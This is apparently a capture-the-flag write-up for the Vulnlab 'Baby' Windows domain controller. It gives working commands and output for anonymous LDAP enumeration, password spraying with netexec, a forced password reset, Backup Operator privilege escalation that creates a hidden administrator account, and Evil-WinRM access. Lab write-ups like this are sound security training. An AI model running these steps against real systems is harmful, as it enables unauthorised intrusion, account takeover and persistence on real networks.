Vulnlab - Baby
Introduction
This write-up details the enumeration and exploitation process of a Windows domain controller using LDAP enumeration, password spraying, and privilege escalation via backup operator privileges to achieve Administrator access and retrieve the root flag.
Nmap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)Enumeration
Anonymous LDAP
Get the domain information
└─$ ldapsearch -LLL -x -H ldap://10.10.127.14 -b '' -s base '(objectclass=\*)'
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=baby,DC=vl
ldapServiceName: baby.vl:babydc$@BABY.VL
...An anonymous LDAP search revealed the domain structure and user information, including an initial password for Teresa.Bell in the description attribute:
└─$ ldapsearch -x -H ldap://10.10.127.14 -b 'DC=baby,DC=vl' -D '' -w '' | grep 'cn\|sAMAccountName\|description' | tee user_info.txt
cn: Guest
description: Built-in account for guest access to the computer/domain
sAMAccountName: Guest
cn: Domain Computers
description: All workstations and servers joined to the domain
sAMAccountName: Domain Computers
cn: Cert Publishers
description: Members of this group are permitted to publish certificates to th
sAMAccountName: Cert Publishers
cn: Domain Users
description: All domain users
sAMAccountName: Domain Users
cn: Domain Guests
description: All domain guests
sAMAccountName: Domain Guests
cn: Group Policy Creator Owners
description: Members in this group can modify group policy for the domain
sAMAccountName: Group Policy Creator Owners
cn: RAS and IAS Servers
description: Servers in this group can access remote access properties of user
sAMAccountName: RAS and IAS Servers
cn: Allowed RODC Password Replication Group
description: Members in this group can have their passwords replicated to all
sAMAccountName: Allowed RODC Password Replication Group
cn: Denied RODC Password Replication Group
description: Members in this group cannot have their passwords replicated to a
sAMAccountName: Denied RODC Password Replication Group
cn: Enterprise Read-only Domain Controllers
description: Members of this group are Read-Only Domain Controllers in the ent
sAMAccountName: Enterprise Read-only Domain Controllers
cn: Cloneable Domain Controllers
description: Members of this group that are domain controllers may be cloned.
sAMAccountName: Cloneable Domain Controllers
cn: Protected Users
description: Members of this group are afforded additional protections against
sAMAccountName: Protected Users
cn: DnsAdmins
description: DNS Administrators Group
sAMAccountName: DnsAdmins
cn: DnsUpdateProxy
description: DNS clients who are permitted to perform dynamic updates on behal
sAMAccountName: DnsUpdateProxy
cn: dev
sAMAccountName: dev
cn: Jacqueline Barnett
sAMAccountName: Jacqueline.Barnett
cn: Ashley Webb
sAMAccountName: Ashley.Webb
cn: Hugh George
sAMAccountName: Hugh.George
cn: Leonard Dyer
sAMAccountName: Leonard.Dyer
cn: it
sAMAccountName: it
cn: Connor Wilkinson
sAMAccountName: Connor.Wilkinson
cn: Joseph Hughes
sAMAccountName: Joseph.Hughes
cn: Kerry Wilson
sAMAccountName: Kerry.Wilson
cn: Teresa Bell
description: Set initial password to BabyStart123!
sAMAccountName: Teresa.Bell
cn: Caroline Robinson
sAMAccountName: Caroline.RobinsonInside one description, we can get the initial password value
description: Set initial password to BabyStart123!Now the file with the information to create a user dictionary is parsed
cat user_info.txt | grep sAMAccountName | awk '{print $2}' > users.txtPassword Spraying
A password spraying attack using the retrieved initial password successfully found an account Caroline.Robinson with the following status:
└─$ netexec smb 10.10.127.14 -u users.txt -p 'BabyStart123!'
...
SMB 10.10.127.14 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGEExploitation
Password Change
The password was reset for Caroline.Robinson using smbpasswd:
└─$ smbpasswd -r 10.10.127.14 -U Caroline.Robinson
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user Caroline.RobinsonChecking User Permissions
Using netexec, it was verified that Caroline.Robinson has access to multiple services, including SMB, LDAP, WinRM, and RDP:
└─$ for protocol in {smb,ldap,rdp,winrm,wmi}; do netexec $protocol 10.10.127.14 -u Caroline.Robinson -p 'Password123!'; done
SMB 10.10.127.14 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.127.14 445 BABYDC [+] baby.vl\Caroline.Robinson:Password123!
SMB 10.10.127.14 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
LDAP 10.10.127.14 389 BABYDC [+] baby.vl\Caroline.Robinson:Password123! (Pwn3d!)
RDP 10.10.127.14 3389 BABYDC [*] Windows 10 or Windows Server 2016 Build 20348 (name:BABYDC) (domain:baby.vl) (nla:True)
RDP 10.10.127.14 3389 BABYDC [+] baby.vl\Caroline.Robinson:Password123!
WINRM 10.10.127.14 5985 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
WINRM 10.10.127.14 5985 BABYDC [+] baby.vl\Caroline.Robinson:Password123! (Pwn3d!)
RPC 10.10.127.14 135 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
RPC 10.10.127.14 135 BABYDC [+] baby.vl\Caroline.Robinson:Password123!Privilege Escalation
The user Caroline.Robinson was found to have permissions to escalate privileges via Backup Operator functionality. The Backup-ToSystem.ps1 script was used to escalate privileges.
Administrative User Creation
- Upload the Script
- Import the Script:
Import-Module .\Backup-ToSystem.ps1 - Create a New User:
Backup-ToSystem -command "net user x4v1l0k Password123! /add" - Add the User to Privileged Groups:
Backup-ToSystem -command "net localgroup Administrators x4v1l0k /add"Backup-ToSystem -command "net localgroup 'Remote Management Users' x4v1l0k /add"Backup-ToSystem -command "net localgroup 'Remote Desktop Users' x4v1l0k /add"Backup-ToSystem -command "net localgroup 'Performance Monitor Users' x4v1l0k /add"
Final Access
Once the new user x4v1l0k was created and added to the necessary groups, the Evil-WinRM tool was used to authenticate to the server and retrieve the root.txt file:
└─$ evil-winrm -i 10.10.127.14 -u x4v1l0k -p 'Password123!'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
VL{CENSORED}